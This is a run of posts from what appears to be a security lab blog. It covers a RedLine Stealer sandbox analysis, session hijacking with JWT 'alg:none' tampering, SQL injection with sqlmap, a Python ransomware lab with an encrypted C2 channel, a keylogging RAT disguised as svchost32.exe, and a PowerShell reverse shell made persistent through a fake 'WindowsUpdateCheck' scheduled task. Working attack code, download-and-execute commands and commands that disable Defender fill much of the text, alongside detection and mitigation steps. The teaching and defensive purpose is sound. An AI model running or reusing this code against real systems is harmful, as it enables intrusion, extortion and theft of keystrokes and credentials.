9 keys added, all under HKU\...\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags / BagMRU / Shell — including a new GUID-named subkey {80213E82-BCFD-4C4F-8817-BB27601267A9}

44 values added — Explorer RecentDocs MRU entries and a full set of Shell Bags view-state values (MRUListEx, IconSize, LogicalViewMode, Sort, GroupByKey:FMTID/PID) tied to the new Bags key

32 values modified, notably HKLM\SYSTEM\ControlSet001\Services\bam\State\UserSettings\... entries referencing Program Files\Google\Chrome\Application\chrome.exe — Background Activity Moderator tracking data for Chrome, despite Chrome never appearing in the sample's own process tree

5 files modified: two Chrome prefetch files (CHROME.EXE-5A1054B0.pf, CHROME.EXE-5A1054B7.pf), SEARCHAPP.EXE-C8E48E53.pf, and both NTUSER.DAT.LOG transaction logs under the NetworkService profile. Total changes: 90

The Chrome-related BAM and prefetch touches, paired with the AnyRun evidence of the sample opening Facebook/Google login pages, line up with RedLine Stealer's known focus on harvesting browser-stored credentials — the malware is interacting with Chrome's on-disk artifacts without ever spawning chrome.exe itself as a visible child process.

Phase 5: Behavioral Summary

| Category | Observed Behavior | |---|---| | Network | 79 connections / 76 DNS requests in AnyRun; traffic blended with legitimate Microsoft/Akamai-hosted endpoints | | Persistence | 9 new Shell Bags registry keys, 44 new values under HKCU\...\Shell\Bags; BAM service-tracking entries touched | | Process | Multi-stage child process chain (Yt8gc85.exe → GY4IC43.exe → hE8Zq97.exe → 1Zn59od7.exe); code injected into explorer.exe and by AppLaunch.exe | | File System | Files dropped/overwritten under legitimate Windows paths; Chrome and SearchApp prefetch files modified; 90 total registry/file changes recorded by RegShot | | Data Theft | Browser navigation to Facebook and Google account pages; family known to target browser credentials, crypto wallets, FileZilla, Discord, Telegram, and VPN clients | | Evasion | Genuine (unsigned-in-practice) wextract.exe carrier abused as a dropper; conflicting packer signals across PEiD/DiE/PEstudio; unsigned binary reported as Microsoft Corporation |

Phase 6: Conclusions & Takeaways

What this sample does:

Uses a real Windows cabinet self-extractor (wextract.exe) as a carrier to drop and execute a multi-stage payload chain
Injects code into explorer.exe and spawns a sequence of short-lived child processes
Opens Facebook and Google account pages in the sandboxed browser, consistent with credential/session harvesting
Touches Chrome's prefetch and BAM service-tracking data despite never spawning chrome.exe directly
Writes 9 new registry keys and 44 new values for Shell Bags-based persistence/state tracking

Lessons from the toolchain:

No single static tool is authoritative. PEiD's own four checks disagreed with each other (Not Packed / Packed) on the same file; entropy alone ranged from 6.19 (PEiD) to 7.976 (PEstudio) depending on scope.
"Legitimate" metadata isn't proof of legitimacy. The PDB path, version resource, and imports all point to a genuine wextract.exe — but Process Explorer shows it carries no real digital signature, and it's being used to smuggle a payload.
Dynamic analysis resolves what static analysis leaves ambiguous. AnyRun's process tree and RegShot's before/after diff turned a "maybe packed, maybe not" static picture into a concrete, multi-stage injection and persistence chain.
Cross-referencing artifacts matters. The imphash on MalwareBazaar linking this sample to thousands of other RedLine/Amadey/Smoke Loader binaries was as useful for family attribution as any single tool's verdict.

References:

Session Hijacking & JWT Tampering

Fri, 22 May 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

This lab demonstrates a complete session hijacking attack chain against an ASP.NET web application, followed by the proper mitigations. The attack leverages an unprotected session cookie transmitted over HTTP — captured via Firefox's Network panel and Wireshark, then replayed with a Python script to impersonate an authenticated user without ever knowing the password. The lab also includes a JWT tampering bonus that shows how weak token validation can be exploited.

Environment:

Kali Linux (Attacker): 192.168.91.128
Windows Server 2022 (Target): 192.168.91.129 — IIS + ASP.NET 4.8 + SQL Server Express

Step 1: Environment Setup

Connectivity between VMs verified (same setup as previous labs — Host-Only network, static IPs).

Step 2: Install IIS & ASP.NET 4.8 (S1)

Installed via Server Manager → Add Roles → Web Server (IIS) → Application Development:

ASP.NET 4.8
.NET Extensibility 4.8
ISAPI Extensions + ISAPI Filters

iisreset

Browsed to http://localhost/ to confirm IIS is running.

IIS installed and running — default welcome page confirmed

Step 3 & 4: Deploy the Vulnerable Login App

Created C:\inetpub\wwwroot\VulnerableApp\Login.aspx — a login page that:

Authenticates against the SecureDB.Users table via parameterized query
Issues an ASP.NET_SessionId cookie without HttpOnly or Secure flags
Transmits everything over plain HTTP

Added the VulnerableApp alias in IIS Manager → Default Web Site → Add Application (.NET CLR v4.0, Integrated pipeline), then ran iisreset.

Step 6: Capture the Session Cookie in Firefox (S2)

On Kali, opened Firefox → ☰ → Web Developer → Network (started recording).

Browsed to http://192.168.91.129/VulnerableApp/Login.aspx and submitted admin / admin123.

In the request list, clicked the POST /Login.aspx entry (status 302) → Response Headers → found:

Set-Cookie: ASP.NET_SessionId=<SESSION_ID>; path=/

No HttpOnly. No Secure. The session ID is fully visible in plaintext.

ASP.NET_SessionId exposed in plaintext response headers — no security flags

Step 7: Sniff the Cookie in Wireshark (S3)

On Kali:

sudo wireshark

Selected the correct interface, started capture. Applied display filter:

http.response.code == 302

Re-submitted the login — located the 302 packet → expanded Hypertext Transfer Protocol → Set-Cookie → same session ID visible in the captured packet.

Session cookie captured in Wireshark — transmitted in cleartext over HTTP

Step 8: Hijack the Session with Python (S4)

With the captured ASP.NET_SessionId, wrote session_hijack.py:

#!/usr/bin/env python3
import requests

URL = 'http://192.168.91.129/VulnerableApp/Login.aspx'
SID = '<CAPTURED_SESSION_ID>'

resp = requests.get(URL, headers={'Cookie': f'ASP.NET_SessionId={SID}'})
print(f"Status: {resp.status_code} {resp.reason}\n")
print("\n".join(resp.text.splitlines()[:5]))

chmod +x session_hijack.py
./session_hijack.py

Result: Status: 200 OK — followed by <h2>Welcome, admin!</h2>. Full session takeover without a password.

Session hijacked — server accepted the stolen cookie and returned the authenticated page

Step 9: HTTPS + Secure/HttpOnly Mitigation (S5, S6, S7)

9a: Bind HTTPS on IIS

New-SelfSignedCertificate -DnsName "192.168.91.129" -CertStoreLocation "Cert:\LocalMachine\My"

Then in IIS Manager → Default Web Site → Bindings → Add → Type: https, Port: 443, selected the self-signed certificate → iisreset.

HTTPS binding on port 443 with self-signed certificate

9b: Replace Login.aspx with Hardened Version

The patched code sets HttpOnly = true and Secure = true on the session cookie:

var cookie = new HttpCookie("ASP.NET_SessionId", Guid.NewGuid().ToString()) {
    HttpOnly = true,
    Secure = true,
    Path = "/"
};
Response.Cookies.Add(cookie);

Browsed to https://192.168.91.129/VulnerableApp/Login.aspx (accepted cert warning), logged in, then opened Firefox → Storage → Cookies — confirmed both flags present.

Session cookie now has Secure + HttpOnly — no longer accessible via JavaScript or HTTP

9c: Verify the Hijack No Longer Works (S7)

Re-ran session_hijack.py against the hardened endpoint — the server did not return the welcome page:

Mitigation confirmed — stolen cookie rejected, session hijack blocked

Why the mitigation works:

Secure flag: cookie only sent over HTTPS — can't be sniffed in plaintext anymore
HttpOnly flag: JavaScript can't read the cookie — eliminates XSS-based theft
HTTPS: the entire session is encrypted in transit — Wireshark shows only ciphertext

Bonus: JWT Tampering Challenge (B1, B2)

Setup

pip3 install flask pyjwt
python3 jwt_demo.py

# Get a token
curl -s -X POST http://192.168.91.128:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin"}'

Tamper the Token

Pasted the returned JWT into jwt.io, then:

Changed the payload: "role": "user" → "role": "admin"
Changed the header: "alg": "HS256" → "alg": "none"
Removed the signature (set to empty string)

The vulnerable server accepts tokens with alg: none because it doesn't enforce signature verification.

JWT tampered — role escalated to admin, signature bypassed with alg:none

Replay & Mitigate

curl -i http://192.168.91.128:5000/dashboard \
  -H "Authorization: Bearer <tampered_token>"

Vulnerable server: accepted the tampered token → returned admin dashboard.

After applying the fix:

jwt.decode(token, SECRET, algorithms=["HS256"],
           options={"verify_signature": True})

Re-replaying the tampered token now returns 403 Invalid Token.

Mitigation applied — tampered JWT rejected with 403 Invalid Token

Key Takeaways

Red Team:

A session cookie without HttpOnly/Secure over HTTP can be stolen passively with Wireshark and replayed in seconds with 10 lines of Python
JWT alg: none attacks are trivial — any token signed with "none" bypasses signature checks on vulnerable implementations

Blue Team:

Always set Secure + HttpOnly on session cookies
Always serve authenticated pages over HTTPS — Secure is meaningless without it
For JWT: always explicitly whitelist allowed algorithms (algorithms=["HS256"]) — never accept none
Session IDs should be regenerated after login to prevent fixation attacks

SQL Injection: sqlmap & Parameterized Queries

Fri, 15 May 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

This lab simulates a full SQL injection attack chain against a real ASP.NET web application running on IIS with a Microsoft SQL Server backend — then switches to blue team to implement proper defenses. The vulnerable app is deployed intentionally to demonstrate classic SQLi, and then patched using parameterized queries.

Environment:

Kali Linux (Attacker): 192.168.0.101
Windows Server 2022 (Victim/Server): 192.168.0.102
Stack: IIS + ASP.NET 4.8 + SQL Server Express (SQLEXPRESS) + SSMS

Task 1: Environment Setup & Connectivity

Disabled Windows Defender and Firewall on the Windows Server before starting:

Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Get-NetFirewallProfile | Format-Table Name, Enabled

Verified bidirectional connectivity:

# Kali
ping -c 4 192.168.0.102

# Windows
ping 192.168.0.101

Kali pinging Windows Server — connectivity confirmed

Windows Server pinging Kali — Defender and firewall disabled

Task 2: Install IIS and ASP.NET

On Windows Server, installed the web stack via Server Manager:

Web Server (IIS)
ASP.NET 4.8
.NET Framework 4.8 Features
ISAPI Extensions and ISAPI Filters

Verified by browsing to http://localhost — the default IIS page appeared.

IIS default page — web server running

IIS + ASP.NET roles confirmed in Server Manager

Task 3: SQL Server Setup

Installed SQL Server Express and SSMS, then:

Connected to localhost\SQLEXPRESS using SQL Server Authentication
Created database SecureDB
Created login webuser / StrongPassw0rd! mapped to SecureDB with db_owner
Created and populated the Users table:

USE SecureDB;
GO

CREATE TABLE Users (
    Id INT PRIMARY KEY IDENTITY(1,1),
    Username VARCHAR(50),
    Password VARCHAR(50)
);

INSERT INTO Users (Username, Password) VALUES
('admin', 'admin123'),
('user1', 'pass1'),
('user2', 'pass2');

SSMS connected — SecureDB created

Users table populated with test credentials

webuser mapped to SecureDB with db_owner role

Task 4: Deploying the Vulnerable ASP.NET App

Created C:\inetpub\wwwroot\VulnerableApp\Login.aspx — a deliberately vulnerable login page that concatenates user input directly into a SQL query with no sanitization:

// VULNERABLE — never do this in production
string query = "SELECT * FROM Users WHERE Username='" + username + "' AND Password='" + password + "'";

Added the app in IIS Manager → Default Web Site → Add Application (Alias: VulnerableApp).

Browsed to http://localhost/VulnerableApp/Login.aspx and tested:

Vulnerable login form live on IIS

Login Successful with admin:admin123

Invalid Login — baseline behavior confirmed

The raw string concatenation clearly visible in the source

Task 5: SQL Injection Attacks from Kali

5a. Automated Attack with sqlmap

sqlmap -u "http://192.168.0.102/VulnerableApp/Login.aspx" \
  --data="username=admin&password=admin" \
  --method=POST \
  --dbms=mssql \
  --risk=3 --level=5 --batch --dump

Key sqlmap flags:

| Flag | Purpose | |---|---| | --dbms=mssql | Optimize payloads for Microsoft SQL Server | | --risk=3 | Include high-risk payloads | | --level=5 | Deep and aggressive testing | | --batch | Auto-confirm all prompts | | --dump | Extract database contents |

sqlmap confirms the parameter is injectable

Users table extracted — plaintext credentials visible

5b. Manual Python SQLi Script

import requests

url = 'http://192.168.0.102/VulnerableApp/Login.aspx'
payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})
print("[+] Response:", r.text[:200])

The payload admin'/**/OR/**/1=1-- uses inline comments (/**/) to obfuscate the OR keyword, bypassing basic keyword filters while still evaluating to TRUE and authenticating as any user.

Login Successful returned — authentication bypassed without valid credentials

Task 6: Defensive Measures

6.1 Parameterized Queries

The fix is replacing string concatenation with parameterized queries — user input never touches the SQL string:

// SECURE — parameterized query
string query = "SELECT * FROM Users WHERE Username = @u AND Password = @p";
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@u", username);
cmd.Parameters.AddWithValue("@p", password);

With parameterized queries, admin'/**/OR/**/1=1-- is treated as a literal string, not SQL syntax — the login returns "Invalid Login" even with injection payloads.

6.2 SQL Server Hardening

Removed dangerous permissions from webuser:

REVOKE ALTER, DROP, EXEC FROM webuser;

6.3 IIS URL Rewrite Rules

Installed the URL Rewrite Module and created a rule to block requests containing UNION, ' OR, --, DELETE, EXEC. Also enabled Request Filtering to block .exe, .bat, .ps1, and PUT/DELETE HTTP methods.

Patched code — parameterized queries replacing string concatenation

Same injection payload now returns "Invalid Login" — attack neutralized

Task 7: Monitoring and Alerts

Enabled IIS W3C logging (IIS Manager → Logging → W3C format → Apply), then checked:

Event Viewer → Windows Logs → Application for SQL Server errors
IIS logs for unusual POST patterns targeting Login.aspx

Attack trace visible in logs — repeated POST requests with injection characters

Task 8 (Bonus): Obfuscated SQLi Bypass

Payload: admin'/**/OR/**/1=1--

This bypasses keyword-based filters by inserting SQL inline comments (/**/) between the OR keyword. A naive filter looking for the literal string OR won't match /**/OR/**/ — but SQL Server strips those comments during parsing and executes the underlying logic.

payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})

Login Successful — obfuscated payload bypasses basic keyword filter

Same bypass working via Python script

Key Takeaways

Red Team:

sqlmap fully automated the extraction — database schema, table names, and plaintext passwords in one command
Manual Python injection confirmed the same bypass works without any tooling
Obfuscated payloads (/**/OR/**/) evade basic string-match filters trivially

Blue Team:

Parameterized queries are the only real fix — URL Rewrite rules and keyword filters are bypassable, parameterized queries are not
IIS logs + Event Viewer provide a clear forensic trail of injection attempts
Principle of least privilege matters: webuser with db_owner gave the attacker far more access than a login page needs

Python Ransomware: AES C2 + Fernet + Rust

Fri, 08 May 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

This lab simulates a RAT-based ransomware attack in a controlled Host-Only VM environment. The attack chain covers: building an encrypted C2 channel, remotely deploying a ransomware executable via HTTP, encrypting victim files with Fernet, dropping a ransom note, key exchange for decryption, and blue team detection/mitigation. The lab also includes a Rust implementation of an encrypted TCP C2 channel using AES-256-GCM.

Environment:

Kali Linux (Attacker): 192.168.0.101 — Host-Only
Windows Server 2022 (Victim): 192.168.0.102 — Host-Only
C2 Port: 8008/TCP

Section 1: Environment Setup & Network Configuration

Same setup as Lab 1 — static IPs on a Host-Only network, verified bidirectional connectivity and port reachability.

# Kali
sudo ip addr add 192.168.0.101/24 dev eth0
ping -c 4 192.168.0.102

# Windows
New-NetIPAddress -InterfaceAlias 'Ethernet' -IPAddress 192.168.0.102 -PrefixLength 24
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008

Kali static IP 192.168.0.101 assigned

Windows Server static IP 192.168.0.102 assigned

Bidirectional connectivity confirmed

Port 8008 reachable from victim

Section 2: Installing Dependencies

Kali:

sudo apt update && sudo apt install -y python3 python3-pip
pip3 install pycryptodome pyautogui psutil pyinstaller cryptography

Windows:

pip install pycryptodome pyautogui psutil pyinstaller cryptography

The key addition over Lab 1 is the cryptography library — specifically Fernet — which handles the file encryption layer (separate from the AES-EAX command channel).

All required packages confirmed on Kali

All required packages confirmed on Windows

Section 3: The Ransomware Scripts

Architecture

Two layers of encryption run in parallel:

| Layer | Algorithm | Purpose | |---|---|---| | C2 channel | AES-EAX | Encrypt/decrypt commands between attacker and victim | | File encryption | Fernet (AES-128-CBC + HMAC) | Encrypt victim files on disk |

Attacker Controller — `hacker_ransom.py` (Kali)

Listens on port 8008, sends encrypted commands, receives encrypted responses. Supported commands:

encrypt          → triggers file encryption on victim
ransom_note      → drops READ_ME.txt in target directory
decrypt <key>    → sends key to restore files if correct
download <path>  → pulls a file from the victim
stop             → closes the session

KEY = b'0123456789abcdef0123456789abcdef'  # 32-byte shared AES key

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()

Victim Agent — `ransom.py` (Windows)

Connects back to Kali, decrypts and executes commands. Key functions:

def generate_fernet_key():
    return Fernet.generate_key()

def encrypt_files(target_dir, fernet_key):
    fernet = Fernet(fernet_key)
    for root, dirs, files in os.walk(target_dir):
        for file in files:
            if file in ["READ_ME.txt", "ransom_key.txt"]:
                continue
            # read → encrypt → overwrite
            ...

def drop_ransom_note(target_dir, ransom_text):
    note_path = os.path.join(target_dir, "READ_ME.txt")
    with open(note_path, "w") as note:
        note.write(ransom_text)

Target directory: C:\Users\Public\Documents

Key storage: the Fernet key is saved to ransom_key.txt on the victim after encryption. The attacker retrieves it via download ransom_key.txt and sends it back with decrypt <key> to restore files.

Attacker controller script — AES-EAX channel setup visible

Victim ransomware script confirmed in directory

Section 4: Remote Deployment & Execution

Step 1: Compile to Silent EXE (Windows)

cd C:\Scripts
pyinstaller --onefile --noconsole --hidden-import=cryptography ransom.py
# Output: dist\ransom.exe

The --hidden-import=cryptography flag is required because PyInstaller doesn't automatically detect the Fernet import in some configurations.

ransom.exe compiled successfully

Executable confirmed in dist\ directory

Step 2: Serve via HTTP (Kali)

mkdir ~/ransomware
cp ~/ransom.exe ~/ransomware/
cd ~/ransomware
python3 -m http.server 8080

HTTP server serving ransom.exe on port 8080

Step 3: Download & Execute Remotely (Windows)

Invoke-WebRequest -Uri "http://192.168.0.101:8080/ransom.exe" -OutFile "C:\Users\Public\ransom.exe"
Start-Process "C:\Users\Public\ransom.exe"

ransom.exe downloaded from Kali HTTP server

Victim connected to attacker — C2 session established

Step 4: Ransomware Execution

RAT> encrypt
→ Encrypted X files. Decryption key stored.

RAT> ransom_note
→ Ransom note dropped at C:\Users\Public\Documents\READ_ME.txt

RAT> download ransom_key.txt
→ [+] Downloaded: ransom_key.txt

RAT> decrypt <key>
→ Decrypted X files.

Files encrypted in C:\Users\Public\Documents

Ransom note dropped on victim

Files successfully decrypted after correct key exchange

Section 5: Defense & Mitigation

Detect the Connection

netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED <PID>

tasklist | findstr ransom.exe

Active C2 connection on port 8008 identified

ransom.exe process confirmed running

Terminate & Block

taskkill /F /IM ransom.exe

New-NetFirewallRule -DisplayName "Block Ransomware Traffic" `
  -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

Process terminated

Outbound rule created — port 8008 blocked

Blue Team Takeaways

Rapid file modification in C:\Users\Public\Documents is a Sysmon Event ID 11 (File Created) red flag — ransomware leaves a clear trail of file write operations
Sysmon Event ID 3 catches the outbound TCP connection on port 8008 immediately
Fernet key stored on disk (ransom_key.txt) is a critical OPSEC mistake — a real attacker would exfiltrate the key and delete it locally, making recovery impossible without paying
Backups are the most reliable defense — no key exchange needed if you can restore from a clean snapshot

Section 7: Rust C2 — AES-256-GCM Encrypted TCP Channel

This section implements the same client-server concept in Rust, using the aes-gcm crate for AES-256-GCM encryption — a step up from Python's AES-EAX, with built-in authentication and a 12-byte nonce.

Server (Kali) — `server.rs`

use aes_gcm::{aead::{Aead, KeyInit}, Aes256Gcm, Nonce};
use base64::{engine::general_purpose, Engine as _};
use rand::RngCore;
use std::io::{Read, Write};
use std::net::TcpListener;

const KEY: &[u8; 32] = b"0123456789abcdef0123456789abcdef";

fn encrypt_message(plaintext: &str) -> String {
    let key = aes_gcm::Key::<Aes256Gcm>::from_slice(KEY);
    let cipher = Aes256Gcm::new(&key);
    let mut nonce_bytes = [0u8; 12];
    rand::thread_rng().fill_bytes(&mut nonce_bytes);
    let nonce = Nonce::from_slice(&nonce_bytes);
    let ciphertext = cipher.encrypt(nonce, plaintext.as_bytes()).unwrap();
    let mut combined = nonce_bytes.to_vec();
    combined.extend_from_slice(&ciphertext);
    general_purpose::STANDARD.encode(&combined)
}

Client (Windows) — `client.rs`

Connects to the server, receives and decrypts the greeting, encrypts a response and sends it back.

Compile & Run

# Kali (server)
rustc server.rs -o server --edition 2021
./server

# Windows (client)
rustc client.rs -o client.exe --edition 2021
.\client.exe

Rust server listening and client connected

AES-256-GCM encrypted greeting decrypted on the client side

Encrypted response from client decrypted on server

Full bidirectional encrypted C2 channel working in Rust

Conclusion

This lab extended the RAT concept from Lab 1 into a ransomware simulation — same AES-EAX command channel, but now with a separate Fernet file encryption layer that targets a specific directory. The remote deployment flow (PyInstaller → HTTP server → Invoke-WebRequest → Start-Process) demonstrated how an attacker can deliver and trigger a payload without direct access to the victim.

The Rust section introduced AES-256-GCM as an alternative to Python's AES-EAX, with Rust's type system enforcing safer cryptographic practices at compile time.

Python RAT: AES-EAX C2 & Keylogger

Fri, 01 May 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

This lab covers building a fully functional Remote Access Trojan (RAT) from scratch in Python, deploying it in a controlled Host-Only virtual environment, and then switching to the blue team side to detect and terminate it. The RAT uses AES-EAX authenticated encryption for all C2 traffic — no plaintext commands go over the wire.

Environment:

Kali Linux (Attacker): 192.168.0.101 — Host-Only network
Windows Server 2022 (Victim): 192.168.0.102 — Host-Only network
C2 Port: 8008/TCP

Section 1: Environment Setup & Network Configuration

Assigned static IPs on both VMs on a Host-Only network, then verified bidirectional connectivity and confirmed the C2 port was reachable.

Kali:

sudo ip addr add 192.168.0.101/24 dev eth0
sudo ip link set eth0 up
ip addr show eth0

Windows (PowerShell Admin):

New-NetIPAddress -InterfaceAlias 'Ethernet' -IPAddress 192.168.0.102 -PrefixLength 24
ipconfig /all

Connectivity checks:

# Kali → Windows
ping -c 4 192.168.0.102

# Windows → Kali (port reachability)
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008

Also disabled Windows Defender and the firewall for the lab session:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true

Kali with static IP 192.168.0.101 assigned

Windows Server with static IP 192.168.0.102

4/4 ping replies — bidirectional connectivity confirmed

TcpTestSucceeded: True — C2 port reachable

Section 2: Installing Dependencies

On Kali:

sudo apt update && sudo apt install -y python3 python3-pip git
pip3 install pycryptodome pyautogui pynput pyinstaller psutil
pip3 list | grep -E 'pycryptodome|pyautogui|pynput|pyinstaller|psutil'

On Windows (PowerShell Admin):

pip install pycryptodome pyautogui pynput pyinstaller psutil
pip list

| Library | Purpose | |---|---| | pycryptodome | AES-EAX authenticated encryption for all C2 traffic | | pyautogui | Programmatic screenshot capture on the victim | | pynput | Low-level keyboard hook for the keylogger | | pyinstaller | Bundles the script into a silent .exe | | psutil | Enumerate live processes by name |

All 5 libraries confirmed on Kali

All 5 libraries confirmed on Windows

Section 3: Creating & Transferring the RAT Scripts

The RAT uses a reverse-shell model — the victim connects out to the attacker's listener. All traffic is encrypted with AES-EAX and base64-encoded. Both scripts share the same 32-byte key.

Attacker Controller — `hackerkey.py` (Kali)

import socket, base64
from Crypto.Cipher import AES

KEY = b'0123456789abcdef0123456789abcdef'
IDENTIFIER = "<END_OF_COMMAND_RESULT>"
EOF_IDENTIFIER = "<END_OF_FILE_IDENTIFIER>"
CHUNK_SIZE = 2048

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind(("192.168.0.101", 8008))
srv.listen(5)
print("[*] Listening on 192.168.0.101:8008 ...")
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")

while True:
    cmd = input("RAT> ")
    conn.send(encrypt_message(cmd).encode())
    if cmd == "stop":
        conn.close(); srv.close(); break
    # ... (download + receive loop)

Victim Agent — `victimkey.py` (Windows)

The victim script starts a keylogger thread immediately on launch, then connects back to the attacker over port 8008. It handles remote commands, screenshot capture, file download, and encrypted shell output.

Transfer to Windows:

# Kali: host the script
cd ~
python3 -m http.server 8080

# Windows: download it
Invoke-WebRequest -Uri "http://192.168.0.101:8080/victimkey.py" -OutFile "C:\Scripts\victimkey.py"
Get-Content C:\Scripts\victimkey.py | Select-Object -First 5

Attacker controller script open on Kali

Victim agent confirmed in C:\Scripts

Section 4: Attacker Execution & Feature Demo

Launch order: always start hackerkey.py on Kali first (it listens), then run victimkey.py on Windows. The RAT> prompt appears once the victim connects.

# Kali
python3 ~/hackerkey.py

# Windows
cd C:\Scripts
python victimkey.py

Task 4a: Remote Command Execution

From the RAT> prompt on Kali:

RAT> whoami     → lab\admin
RAT> hostname   → Group2
RAT> dir C:\Users
RAT> Get-Date

RAT session active — whoami, hostname, dir C:\Users returned from victim

Task 4b: Screenshot Capture & Download

RAT> screenshot           # Victim saves screenshot.png
RAT> download screenshot.png

xdg-open screenshot.png   # Open on Kali

Victim's desktop captured and pulled to Kali

Task 4c: Keylogger Exfiltration

The keylogger starts automatically when victimkey.py launches, writing every keystroke to C:\temp\keys.log. After typing on the victim machine:

RAT> download C:\temp\keys.log

cat keys.log

Keystrokes captured: Ctrl, Enter, and printable characters all logged

Task 4d: Silent EXE Compilation

# Windows
cd C:\Scripts
pyinstaller --onefile --noconsole victimkey.py
# Output: dist\victimkey.exe

# Rename to blend in:
Rename-Item ".\dist\victimkey.exe" ".\dist\svchost32.exe"

# Run silently — no console window:
.\dist\svchost32.exe

dist\victimkey.exe created successfully

Process running under svchost32.exe — no console window, blends in with system processes

Section 5: Defense & Mitigation

5.1 Detect with netstat

netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED <PID>
tasklist | findstr <PID>

Active C2 connection on port 8008 identified

5.2 Detect with Sysmon

# Event ID 1 — Process Creation
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } | Select-Object -First 10

# Event ID 3 — Network Connection
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 3 -and $_.Message -like "*8008*" } |
Select-Object TimeCreated, Message | Format-List

Sysmon Event ID 1 showing svchost32.exe process creation with full command line

5.3 Terminate the RAT

# Kill by name
taskkill /F /IM svchost32.exe

# Block C2 port at the firewall
New-NetFirewallRule -DisplayName 'Block RAT Port 8008' -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

# Verify connection closed
netstat -ano | findstr :8008   # Must return empty

svchost32.exe terminated and port 8008 connection confirmed closed

5.4 Re-enable Defenses

Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

Blue Team Takeaways

What worked for detection:

netstat -ano | findstr :8008 immediately flagged the outbound C2 connection
Sysmon Event ID 1 (Process Create) revealed svchost32.exe executing from C:\Scripts\dist\ — a non-standard path for anything named like a system binary
Sysmon Event ID 3 (Network Connection) tied the process to the outbound TCP session on port 8008

What made it harder to catch:

The binary was renamed to svchost32.exe to blend in with legitimate Windows processes in Task Manager
All C2 traffic was AES-EAX encrypted — no plaintext commands visible in a packet capture
The keylogger ran as a thread inside the same process, leaving no additional process entry

Key lesson: process name disguise is cheap and effective against casual inspection, but it falls apart the moment you check the binary path or hash — svchost32.exe in C:\Scripts\dist\ is an immediate red flag. Sysmon's Image field in Event ID 1 always shows the full path.

Reverse Shell via Scheduled Task

Wed, 07 Jan 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

Fourth published post in this lab series. Same private environment — Kali Linux (192.168.1.39) against Windows Server 2022 on VMware Workstation. This lab covers two persistence techniques: a basic reverse shell via scheduled task, and a variant with a delayed start. No credentials needed here — this builds on the access established in the previous labs.

Part 1: Reverse Shell via Scheduled Task

Step 1: Prepare the Reverse Shell Script

Created a PowerShell script named update_check.ps1 on Kali. It opens a TCP connection back to the attacker on port 4444, reads commands, executes them, and returns output:

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.39", 4444)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
$writer.AutoFlush = $true

try {
    while ($true) {
        $command = $reader.ReadLine()
        if ($command -eq "exit") { break }
        $output = try {
            Invoke-Expression $command 2>&1 | Out-String
        } catch { "Error: $_" }
        $writer.WriteLine($output)
    }
} finally {
    $writer.Close()
    $reader.Close()
    $client.Close()
}

Writing the reverse shell script in nano on Kali

update_check.ps1 ready in the http-server directory

Step 2: Host the Script on Kali

Started a Python HTTP server on port 80 to serve the script to the target:

sudo python3 -m http.server 80

HTTP server serving the payload on 0.0.0.0:80

Verified connectivity from the Windows Server using PowerShell:

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1"

Response: StatusCode 200, StatusDescription OK — script accessible for download.

200 OK confirmed — Windows Server can reach the Kali payload

Step 3: Set Up a Listener on Kali

Started a Netcat listener on port 4444:

nc -lvnp 4444

Then triggered the script from the Windows Server. The reverse shell connected back immediately:

connect to [192.168.1.39] from (UNKNOWN) [192.168.1.55] 26705
whoami     → nt authority\system
pwd        → C:\Windows\system32
hostname   → Group2
ipconfig   → 192.168.1.55

Reverse shell connected — running as NT AUTHORITY\SYSTEM

Step 4: Create a Scheduled Task on Windows Server

To make the reverse shell persistent (triggers on startup), deployed the script to the Tasks directory and registered a scheduled task:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
  -Argument "-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "WindowsUpdateCheck" `
  -Description "Updates system settings on startup" `
  -User "SYSTEM" -RunLevel Highest

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1" `
